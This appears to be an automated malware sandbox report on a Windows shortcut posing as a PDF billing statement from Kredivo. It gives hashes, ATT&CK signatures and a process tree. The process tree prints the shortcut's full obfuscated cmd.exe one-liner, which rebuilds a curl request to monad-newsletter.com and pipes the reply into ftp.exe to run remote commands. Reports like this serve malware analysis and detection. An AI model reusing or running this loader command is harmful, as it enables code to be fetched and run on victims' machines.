3514bc17a8c308d8234eb5cc8ebba2b33e6c817d0c8e4bf20a03d692371302d2

General

Target
billing_statement_kredivo_jatuh_tempo.pdf.lnk
Size 11KB
Sample260910-3ylbnshr6t
SHA256 3514bc17a8c308d8234eb5cc8ebba2b33e6c817d0c8e4bf20a03d692371302d2
MD5 2ff78f5e9eed5fbe5ac5e1afaef1dd2e
SHA1 7c6e1f74b5f6e93c3514e201b2e863442a60b6eb
SHA512 83fd6ce71cc53e40d689a5385661e3d0cdba9a7f8c550fcea66754af89c6167363e846ac6b09727b933387e9858307ef44bcf790f491638dfae67e9e743ba275
SSDEEP 192:8tp0lxi4FwuFlHR2A5IFw6kwg0tFJmk6QWQuufLw5KtwGG:QiDi42AlHRpI26JgKFJmk6WuufU5UwGG
TLSH
T10332F45A7DDA1128E17B867AAFF0FEC5FA1D7D37F251986D986083054213C08BE81EB1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4268	cmd.exe
4516	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4268 wrote to memory of 4516	4268	cmd.exe	89
PID 4516 wrote to memory of 1968	4516	cmd.exe	90
PID 4516 wrote to memory of 2860	4516	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\billing_statement_kredivo_jatuh_tempo.pdf.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||EEEEEEEEEEEEEE||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||VFemaW0Hre8sxlQx9Yp7LHfgBn1clp||YGcLqhjkAVAMl0y0llgameU8sUbHgx||iBCPgoTQbWbr3lgHDsep2VNSYF7U7S||4VBE10dbc4EuXjsA8EjFlLVI9CrgnH||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||MEutYMqsrkvdzgkSVtuA8iXde3fZ7D||T8AzYegQLK6u3a9QQtr6fwteliGYlZ||G8osaNWLRA6TgSkzxUPD7c59e5dMeO||/V/D/c "hRSDVI5AyTGfcYZISVNvnEl9RY3DFehRSDVI5AyTGfcYZISVNvnEl9RY3DFeO||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||x1FiENz7WuOQWnpIDwvLo9rxASIaQs||W0ADIYLn1aqXfrsPT2yycRNTCSHkte||y9pK9w7XFuV4wzJeQGA9y84uKg7Vtf||eG6Do3VZLDsu7NUcHstFi75dSl3jtJ||S1hzdPpQWaVXaAB6Roi1Zmy4R6MlPF||VYv1o0gdfiIUqyprg6dP1BLSDcVVYf||vYlRH9kqXqN89jMronHtE0JX6VAqhd||4tGBNC4uqNyAr9Ur5NiV4MQOoEzS5v||T8AzYegQLK6u3a9QQtr6fwteliGYlZ||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||T8AzYegQLK6u3a9QQtr6fwteliGYlZ||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||x1FiENz7WuOQWnpIDwvLo9rxASIaQs||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||S1hzdPpQWaVXaAB6Roi1Zmy4R6MlPF||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||IvFVyCwuK17ix8IQhq8WgxbbpUbI7j||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||yeOxQS2ez46YVBqfpINlE8DTk8zqyq||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||y9pK9w7XFuV4wzJeQGA9y84uKg7Vtf||T8AzYegQLK6u3a9QQtr6fwteliGYlZ||XM62SKJFDIPKPz0AfkE9UJNfYaduQe||iBCPgoTQbWbr3lgHDsep2VNSYF7U7S||aNtI7DQQX9UZvDv1fS7wg8SXzTq69h||y9pK9w7XFuV4wzJeQGA9y84uKg7Vtf||MEutYMqsrkvdzgkSVtuA8iXde3fZ7D||Y2TKRB9KbpjcPkgL8hBrCjdUPxV7E4||VFemaW0Hre8sxlQx9Yp7LHfgBn1clp||4VBE10dbc4EuXjsA8EjFlLVI9CrgnH||eG6Do3VZLDsu7NUcHstFi75dSl3jtJ||YGcLqhjkAVAMl0y0llgameU8sUbHgx||Se^T lnl=:\helper&&hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||zyJbx6HpIY0bPhSh7EeGjEeLu3cyxK||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||4tGBNC4uqNyAr9Ur5NiV4MQOoEzS5v||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||NOnztYomTI3mAKpU3VhDqW6is5FKwH||Y2TKRB9KbpjcPkgL8hBrCjdUPxV7E4||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||NOnztYomTI3mAKpU3VhDqW6is5FKwH||HhqGtW6W3UMIiCyB33xtl9C0Ccm4kA||set aJSs=exi&&hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||@if exist "C!lnl!" (!aJSs!t) else (hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||G8osaNWLRA6TgSkzxUPD7c59e5dMeO||HhqGtW6W3UMIiCyB33xtl9C0Ccm4kA||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||seT^ NXI=-n&&set GkK=htt&&aNtI7DQQX9UZvDv1fS7wg8SXzTq69h||y9pK9w7XFuV4wzJeQGA9y84uKg7Vtf||set xM=s:/&&iBCPgoTQbWbr3lgHDsep2VNSYF7U7S||hRSDVI5AyTGfcYZISVNvnEl9RY3DFe||^se^t 3NFC=newsletter.com/&&^s^eT^ 4Y9zS=-v&&s^et Z1EXU=z8SdqwrQW&&set R9R=monad&&4VBE10dbc4EuXjsA8EjFlLVI9CrgnH||VYv1o0gdfiIUqyprg6dP1BLSDcVVYf||set vwtE=cur&&^Se^t qce=lnk/&&Se^T^ c7GR=ft&&sET^ 1opYo=143125631241&&!vwtE!l "!GkK!p!xM!/!R9R!-!3NFC!!qce!pl-st1?!Z1EXU!!1opYo!wqwFWQWQDS"|!c7GR!p !NXI! !4Y9zS!) "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Windows\system32\curl.exe
    curl "https://monad-newsletter.com/lnk/pl-st1?z8SdqwrQW143125631241wqwFWQWQDS"
    3⤵
    PID:1968
- - C:\Windows\system32\ftp.exe
    ftp -n -v
    3⤵
    PID:2860